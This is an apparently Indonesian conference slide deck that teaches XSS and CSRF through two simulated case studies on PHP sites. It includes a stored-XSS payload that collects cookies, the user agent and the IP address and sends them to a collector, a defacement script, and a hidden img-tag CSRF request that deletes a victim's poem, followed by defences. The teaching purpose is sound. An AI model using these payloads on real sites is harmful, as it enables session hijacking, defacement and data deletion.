Serangan XSS dan CSRF dilakukan terhadap website milik Mas John dan komunitas puisi Puisi Kita. Serangan XSS berhasil mendapatkan cookie Mas John untuk melakukan session hijacking, sementara serangan CSRF menghapus puisi populer Mas Boy dengan mengeksekusi URL hapus puisi lewat fake site. Kedua kasus menunjukkan pentingnya sanitasi input dan output serta penggunaan CSRF token.
Memahami Serangan XSS dan CSRF dengan Simulasi Studi Kasus
1. XSS & CSRF
MEMAHAMI SERANGAN
RIO ASTAMAL
Founder BelajarAWS.com
DENGAN SIMULASI STUDI KASUS
30 April 2021 16:30
PHPID-OL#92
https://learning.byphp.id/
2. RIO ASTAMAL
2020 AWS Community Builder (ID)
2020 Writer TeknoCerdas.com (ID)
2017 Lead Backend @ClearView.team (US)
2016 Founder BelajarAWS.com (ID)
2015 Lead Dev @DominoPOS (SG)
2014 System Engineer @WowRack (US/ID)
2004 Freelance Web Developer
■ Masih aktif hingga sekarang
3. APA YANG DIPELAJARI?
+ Pengertian XSS dan CSRF
+ Demo simulasi XSS dan CSRF
+ Cara menghindari XSS dan CSRF
beginner - intermediate
5. CELAH KEAMANAN YANG
MEMBUAT PENYERANG DAPAT
MENGEKSEKUSI KODE
JAVASCRIPT PADA HALAMAN
YANG DIBUKA OLEH KORBAN.
CROSS SITE SCRIPTING (XSS)
https://example.com/save/?error=invalid%20username
Gambar diambil dari portswigger.net
8. CELAH KEAMANAN YANG
MEMBUAT KORBAN MELAKUKAN
AKSI PADA SUATU WEBSITE
YANG DIINGINKAN PENYERANG
TANPA KORBAN MENYADARINYA.
CROSS SITE REQUEST FORGERY (CSRF)
Gambar diambil dari portswigger.net
10. SIAPA MAS JOHN?
DIA ADALAH SEORANG YANG BARU BELAJAR
WEB PROGRAMMING. KEBETULAN DIA
MENGGUNAKAN PHP SEBAGAI BAHASA
PEMROGRAMAN YANG DIGUNAKAN.
KARENA MASIH AWAM, BANYAK ASPEK
KEAMANAN WEB YANG DIA TIDAK KETAHUI
SEHINGGA MENINGGALKAN BANYAK CELAH XSS
DAN CSRF DI WEBSITE YANG DIA BUAT.
11. SIMULASI #1 - SESSION HIJACKING
MAS JOHN MEMILIKI SEBUAH PERSONAL WEBSITE. PADA
WEBSITE TERSEBUT MAS JOHN MEMBUAT HALAMAN
PORTFOLIO DAN HALAMAN CONTACT US.
PENGUNJUNG DAPAT MENGIRIMKAN PESAN PADA MAS
JOHN PADA HALAMAN CONTACT US. SEMUA PESAN YANG
MASUK DAPAT DILIHAT MAS JOHN DI ADMIN AREA.
KARENA AWAM, MAS JOHN TERLALU NAIF DENGAN TIDAK
MELAKUKAN SANITASI OUTPUT PADA ADMIN AREA KETIKA
MEMUNCULKAN LIST PESAN MASUK JADILAH DIA KORBAN
SERANGAN XSS DAN WEBSITENYA KENA DEFACE OLEH
HACKER TIDAK BERTANGGUNG JAWAB.
13. (1) ANALISA KELEMAHAN
WEBSITE DARI MAS JOHN SANGAT SEDERHANA
DAN TERLIHAT SEPERTI HANYA TERDIRI DARI
SEBUAH HALAMAN SAJA. TIDAK ADA HALAMAN
LAIN SELAIN HOME.
SATU-SATUNYA KEMUNGKINAN KELEMAHAN
YANG ADA ADALAH CONTACT US. ITU PUN JIKA
PESAN YANG MASUK DISIMPAN DALAM
DATABASE. JIKA PESAN MASUK LANGSUNG
DIKIRIMKAN KE EMAIL MAKA SEMAKIN KECIL
KEMUNGKINAN SERANGAN YANG DILAKUKAN.
14. (2) MENCOBA SERANGAN XSS
SERANGAN XSS AKAN DILAKUKAN PADA FIELD “NAMA”. DIMANA AKAN DITAMBAHKAN
JAVASCRIPT YANG AKAN MENGOLEKSI DATA BERUPA: UA, COOKIE, IP ADDR DAN AKAN
DIKIRIMKAN KE WEBSITE DARI HACKER.
15. (3) PAYLOAD XSS
Pak Budi Baik<script>
var getTheirIp = function(onDone) {
var ajax = new XMLHttpRequest();
ajax.addEventListener('load', function(e) {
onDone(this.responseText.replace("n", ""));
});
ajax.open('GET', 'https://wtfismyip.com/text');
ajax.send();
};
var postToMe = function(ipAddr) {
var data = {
UA: navigator.userAgent,
Cookie: document.cookie,
URL: location.href,
TheirIP: ipAddr
};
var ajax = new XMLHttpRequest();
var targetUrl = 'http://127.0.0.1:9091/collect/?data=' + JSON.stringify(data);
ajax.open('GET', targetUrl);
ajax.send();
};
getTheirIp( postToMe );
</script>
16. (4) MENUNGGU KABAR BAIK
SAAT INI YANG DAPAT DILAKUKAN PENYERANG/HACKER ADALAH
MENUNGGU MAS JOHN UNTUK MEMBUKA DAFTAR PESAN YANG
MASUK. (ASUMSI LEWAT ADMIN AREA).
JIKA TERJADI DAN PAYLOAD XSS BERHASIL TEREKSEKUSI MAKA
HACKER MEMILIKI DATA-DATA PENTING DARI ADMIN AREA TERUTAMA
COOKIE YANG DIGUNAKAN OLEH MAS JOHN. COOKIE INILAH YANG
AKAN DIGUNAKAN UNTUK MELAKUKAN SESSION HIJACKING.
17. (5) MAS JOHN MEMBUKA PESAN
WEBSITE MAS JOHN
MEMILIKI ADMIN AREA YANG
DIGUNAKAN UNTUK
MENGELOLA PORTFOLIO DAN
MENAMPILKAN PESAN YANG
MASUK.
KEBETULAN MAS JOHN
MELIHAT PESAN YANG MASUK
YANG DIKIRIMKAN OLEH
HACKER. APA YANG TERJADI?
18. (6) HACKER MENDAPATKAN DATA
KETIKA MAS JOHN MEMBUKA PESAN MASUK. OTOMATIS BEBERAPA DATA
DIKIRIMKAN DIBALIK LAYAR OLEH JAVASCRIPT KE WEBSITE HACKER.
TERMASUK COOKIE.
19. (7) HACKER MELAKUKAN SESSION HIJACKING
DENGAN DATA COOKIE YANG DITERIMA MAKA HACKER MENCOBA MELAKUKAN
SESSION HIJACKING. JIKA MAS JOHN TIDAK MELAKUKAN VERIFIKASI IP
ADDRESS PADA SESSION MAKA SESSION HIJACKING AKAN BERHASIL.
20. (8) HACKER MENDAPAT AKSES ADMIN
DENGAN MENDAPAT AKSES ADMIN MAKA HACKER BISA MENGUBAH BANYAK HAL DI WEBSITE MAS
JOHN. SALAH SATUNYA ADALAH KONTEN PORTFOLIONYA. BERUNTUNGNYA ITU ADALAH SATUNYA HAL
YANG DAPAT DIUBAH OLEH HACKER. DAN DIA KEMUDIAN MENCOBA MELAKUKAN DEFACE WEBSITE
MAS JOHN MENGGUNAKAN KONTEN PORTFOLIO YANG ADA.
Puisi kita adalah sebuab website kolaborasi tulisan antar seniman
puisi. Pengguna dapat mengirimkan puisi dan memberikan tanggapan pada
setiap puisi yang ada.
<script>
var body = '<div style="text-align:center;margin-top:
100px;"><h2>Hacked by Mas Kher</h2><p>Special thanks to 4L4Y_N4ME.</
p></div>';
document.body.innerHTML = body;
document.body.style.color = 'white';
document.body.style.backgroundColor = '#111111';
</script>
21. (9) WEBSITE MAS JOHN TER-DEFACE
HASIL DARI INJEKSI SCRIPT
PADA KONTEN PORTFOLIO
MENGHASILKAN TAMPILAN
DENGAN BACKGROUND HITAM.
MESKIPUN SEBENARNYA
HACKER DAPAT MENGHAPUS
ISI DARI PORTFOLIO MAS
JOHN NAMUN DIA
MEMUTUSKAN UNTUK
MELAKUKAN DEFACE SAJA.
23. 1. JANGAN PERNAH PERCAYA INPUTAN USER
2. JIKA MULAI PERCAYA INPUTAN USER, PERGI KE #1
3. SELALU SANITASI OUTPUT YANG AKAN DITAMPILKAN MESKIPUN
ITU DARI SUMBER TERCPERCAYA. GUNAKAN FUNGSI HTMLENTITIES() /
HTMLSPECIALCHARS() DENGAN OPSI ENT_QUOTES.
4. SELALU GUNAKAN HTTP ONLY COOKIE YANG DISUPPORT MODERN
BROWSER AGAR COOKIE TIDAK BISA DIAMBIL LEWAT JAVASCRIPT.
5. SELALU CHECK ORIGIN IP DARI SESSION UNTUK MEMPERKECIL
PELUANG SESSION HIJACKING.
24. SIMULASI #2 - HAPUS PUISI VIA CSRF
MAS JOHN MENDAPAT JOB YAITU MEMBUAT WEBSITE TENTANG
KOMUNITAS PUISI. WEBSITE ITU BERNAMA “PUISI KITA”.
BELAJAR DARI PENGALAMAN XSS SEBELUMNYA KINI MAS JOHN
LEBIH HATI-HATI DALAM MEMBANGUN WEBSITE. SEMUA OUTPUT
DIA SANITASI MENGGUNAKAN FUNGSI HTMLENTITIES().
NAMUN KARENA MEMANG MASIH NEWBIE DIA BELUM PAHAM
TENTANG CELAH CSRF. PADA WEBSITE BARU YAITU PUISI KITA
MESKIPUN SUDAH AMAN DARI XSS TERNYATA WEBSITE ITU BELUM
AMAN DARI SERANGAN CSRF.
CELAH ITU DIMANFAATKAN OLEH MAS KHER SEORANG ANGGOTA
PUISI KITA YANG INGIN MENYINGKIRKAN PUISI MAS BOY SEBAGAI
PUISI TERPOPULER PILIHAN PENGGUNA. SERANGAN INI SUKSES
JIKA PUISI DARI MAS BOY TERHAPUS LEWAT SERANGAN CSRF.
25. (1) ANALISA KELEMAHAN
INTI DARI SERANGAN INI ADALAH MENGHAPUS PUISI DARI
MAS BOY SEHINGGA TIDAK BISA MENJADI PUISI
TERPOPULER.
KARENA MAS KHER JUGA MERUPAKAN MEMBER PUISI KITA
MAKA DIA MENGANALISA KELEMAHAN DARI METODE HAPUS
PUISI PADA HALAMAN “PUISIKU”.
TERNYATA DIA MENEMUKAN SAAT MELAKUKAN
PENGHAPUSAN PUISI SISTEM TIDAK MENGGUNAKAN CSRF
TOKEN SEHINGGA KETIKA URL HAPUS PUISI TERSEBUT
DIEKSEKUSI OLEH PENGGUNA YANG LOGIN, SISTEM AKAN
MENGANGGAP REQUEST TERSEBUT VALID DAN PUISI AKAN
DIHAPUS.
GET /PUISIKU/?ID=<ID_PUISI>&DELETE
26. (2) FAKE SITE UNTUK CSRF
SERANGAN CSRF BIASANYA BERHUBUNGAN ERAT DENGAN
SOCIAL ENGINEERING. DIMANA KORBAN DIBAWA KE WEBSITE
KHUSUS AGAR MENGEKSEKUSI URL YANG DITARGET. PADA
WEBSITE “PUISI KITA” URL YANG MENJADI TARGET ADALAH
HAPUS PUISI.
SEKILAS TIDAK ADA YANG ANEH PADA HALAMAN PUISI
TERSEBUT. NAMUN ADA JIKA KODE SUMBER HTML DITAMPILKAN
MAKA ADA SEBUAH TAG <IMG> TAK TERLIHAT YANG SENGAJA
DITEMPATKAN UNTUK MEMANGGIL URL HAPUS PUISI YAITU:
GET /PUISIKU/?ID=<ID_PUISI>&DELETE
ID_PUISI YANG MENJADI TARGET ADALAH ID PUISI MILIK MAS
BOY YANG BERJUDUL “NUSANTARA TERCINTA”.
<img src="http://hostname/
puisiku/?id=HASH&delete"
style="visibility:hidden;">
27. (3) SOCIAL ENGINEERING
LANGKAH PENTING BERIKUTNYA YANG DILAKUKAN MAS
KHER ADALAH MELAKUKAN SOCIAL ENGINEERING AGAR
MAS BOY DAPAT MENGUNJUNGI FAKE SITE YANG DIBUAT.
MAS KHER BERINISIATIF UNTUK MELAKUKAN
BROADCAST MESSAGE KE WHATSAPP GROUP
“KOMUNITAS PUISI” DIMANA MAS BOY JUGA IKUT
DIDALAMNYA.
TENTU DENGAN HARAPAN MAS BOY AKAN TERTARIK
MEMBACA DAN MEMBUKA FAKE SITE TERSEBUT.
SERANGAN INI SIFATNYA SPEKULATIF, DAN HANYA AKAN
BERHASIL JIKA MAS BOY SEBELUMNYA BELUM LOGOUT
DARI WEBSITE PUISI KITA.
28. (4) MENUNGGU KABAR BAIK
SETELAH MENYEBAR BROADCAST DI WA GROUP MAKA YANG DILAKUKAN MAS KHER ADALAH
WAIT AND SEE. JIKA MAS BOY MENGUNJUNGI FAKE SITE YANG DIBUAT DAN KONDISI DIA
BELUM LOGOUT DARI WEBSITE “PUISI KITA” MAKA SERANGAN CSRF BERHASIL DILAKUKAN.
KEBERHASILAN TERSEBUT DIINDIKASIKAN DENGAN HILANGNYA PUISI MAS BOY
“NUSANTARA TERCINTA” DARI DAFTAR PUISI POPULER YANG ADA DIHALAMAN DEPAN
WEBSITE “PUISI KITA”.
DAN URUTAN PERTAMA DIGANTIKAN OLEH PUISI MAS KHER BERJUDUL “KEINDAHAN ALAM
INI”.
SERANGAN INI TIDAK BERDAMPAK APAPUN PADA PENGGUNA PUISI KITA LAIN SEPERTI CAK
LONTONG KARENA MAS KHER HANYA MENTARGET SECARA SPESIFIK ID DARI PUISI MAS BOY.
29. (5) PUISI MAS BOY TERHAPUS
NAMPAKNYA SERANGAN CSRF
YANG DIRANCANG OLEH MAS KHER
BERHASIL. HAL ITU DITANDAI
DENGAN PUISINYA BERTENGGER DI
PUNCAK PUISI TERPOPULER.
31. 1. SELALU GUNAKAN CSRF TOKEN YANG UNIK PADA REQUEST YANG
MENGUBAH SEBUAH DATA. INI ADALAH PERTAHANAN TERPENTING.
2. GUNAKAN HTTP METHOD “POST” UNTUK MELAKUKAN PERUBAHAN
DATA. CSRF LEBIH MUDAH DILAKUKAN PADA “GET” TERLEBIH JIKA
BROWSER YANG DIGUNAKAN TIDAK AMAN.
3. BATASI EXPIRES DARI SESSION DALAM WAKTU TERTENTU SEHINGGA
JIKA USER LUPA LOGOUT MAKA SESSION SUDAH TIDAK VALID.
4. EDUKASI USER UNTUK MELAKUKAN UPGRADE BROWSER KE VERSI
YANG AMAN YAITU MENDUKUNG FITUR SAMESITE COOKIES DAN
SAMEORIGIN.
32. ./END
Rio Astamal
rioastamal
rioastamal.net
rio@rioastamal.net
Gambar icon diambil dari Flaticon.com
Presentasi ini juga dapat dilihat pada rioastamal.net/presentasi/2021/04/
Kode pada presentasi ini dapat dilihat pada github.com/rioastamal-examples/phpid-xss-csrf-simulation/
Simulasi hacking lainnya dapat dicoba di abwh.rioastamal.net